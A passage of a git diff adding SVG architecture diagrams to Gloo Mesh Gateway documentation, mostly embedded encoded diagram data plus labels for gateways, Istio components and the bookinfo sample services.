EHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwM